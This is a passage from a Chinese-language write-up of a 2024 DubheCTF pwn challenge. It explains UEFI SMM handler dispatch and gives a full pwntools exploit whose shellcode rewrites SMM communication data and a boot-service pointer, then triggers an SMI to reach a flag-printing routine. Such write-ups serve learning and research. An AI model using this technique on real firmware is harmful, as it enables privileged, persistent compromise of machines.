  • SmmEntryPoint将gSmmCorePrivate->CommunicationBuffer的数据传递给了SmiManage,gSmmCorePrivate是个全局变量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ……

    CommunicationBuffer = gSmmCorePrivate->CommunicationBuffer;
    BufferSize = gSmmCorePrivate->BufferSize;

    ……

    } else {
    CommunicateHeader = (EFI_SMM_COMMUNICATE_HEADER *)CommunicationBuffer;
    // BufferSize was updated by the SafeUintnSub() call above.
    Status = SmiManage (
    &CommunicateHeader->HeaderGuid,
    NULL,
    CommunicateHeader->Data,
    &BufferSize
    );
    ……
  • SmiManage调用SmmCoreFindSmiEntry通过HandlerType(GUID)查找之前注册的SmiHandler,调用Handler

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    EFI_STATUS
    EFIAPI
    SmiManage (
    IN CONST EFI_GUID *HandlerType,
    IN CONST VOID *Context OPTIONAL,
    IN OUT VOID *CommBuffer OPTIONAL,
    IN OUT UINTN *CommBufferSize OPTIONAL
    )
    {
    ……

    } else {
    //
    // Non-root SMI handler
    //
    SmiEntry = SmmCoreFindSmiEntry ((EFI_GUID *)HandlerType, FALSE);

    ……

    Status = SmiHandler->Handler (
    (EFI_HANDLE)SmiHandler,
    Context,
    CommBuffer,
    CommBufferSize
    );

    ……

    }

gSmmCorePrivate全局变量定义在PiSmmIpl模块,被初始化为mSmmCorePrivateData

1
SMM_CORE_PRIVATE_DATA  *gSmmCorePrivate = &mSmmCorePrivateData;

思路

  • ToyApp处于ring 0,读取真的flag需要ring -2

  • ToyApp已经给了执行shellcode的功能,可以直接写shellcode发出SMI进入ring -2

  • SMI执行的handler由mSmmCorePrivateData全局变量决定,可以通过shellcode更改mSmmCorePrivateData

  • ToySMM的handler中调用了gBS->LocateProtocol,可以更改这个函数指针为PrintFlag来绕过&aaaa == (int *)0x23330000 && cmpString((_BYTE *)0x23330000, &aaaa, 3i64)

    这题第一次上的时候附件还有问题,&aaaa != (int *)0x23330000 || !StringCmp(0x23330000i64, &aaaa, 3i64),乐

exp

来自呆神

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.arch = 'amd64'


p = process("./run.sh", shell=True)

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

context.log_level = "debug"
smm_buffer = 0x6ad9380
guid = bytes.fromhex('1EF11CB3F3B786EC72088E54B1F4769D')
CommBuffer_offset = 56
BufferSize_offset = CommBuffer_offset + 8
ReturnStatus_offset = BufferSize_offset + 8
bootservice = 0x6FD6B80
backdoor = 0x7F06000
payload = asm('''

mov rcx, 0x6FD6B80 /* gBS->LocateProtocol = PrintFlag */
add rcx, 0x140
mov rdx, 0x7F06000
mov [rcx], rdx

mov rcx, 0x6ad9400 /* CommBuffer->HeaderGuid = ToySmmGuid */
mov rdx, 0xEC86B7F3B31CF11E
mov [rcx], rdx
add rcx, 8
mov rdx, 0x9D76F4B1548E0872
mov [rcx], rdx
add rcx, 8 /* CommBuffer->MessageLength = 4 */
mov rdx, 0x4
mov [rcx], rdx
add rcx, 24 /* CommBuffer->Data[24] = 'AAAA' */
mov rdx, 0x41414141
mov [rcx], rdx
add rcx, 8

mov rcx, 0x6ad93b8 /* mSmmCorePrivateData->CommunicationBuffer = CommBuffer */
mov rdx, 0x6ad9400
mov [rcx], rdx
add rcx, 8 /* mSmmCorePrivateData->BufferSize = 0x1c */
mov rdx, 0x1c
mov [rcx], rdx

xor eax, eax /* SMI */
mov dx, 0xb2
mov al, 0x00
outb dx, al
''')

ru('Your shellcode:')
raw_input(">")
sl(payload.hex())
sl("DONE")
p.interactive()

2024 DubheCTF pwn wp
http://akaieurus.github.io/2024/03/19/天枢ctf-wp/
作者
Eurus
发布于
2024年3月19日
许可协议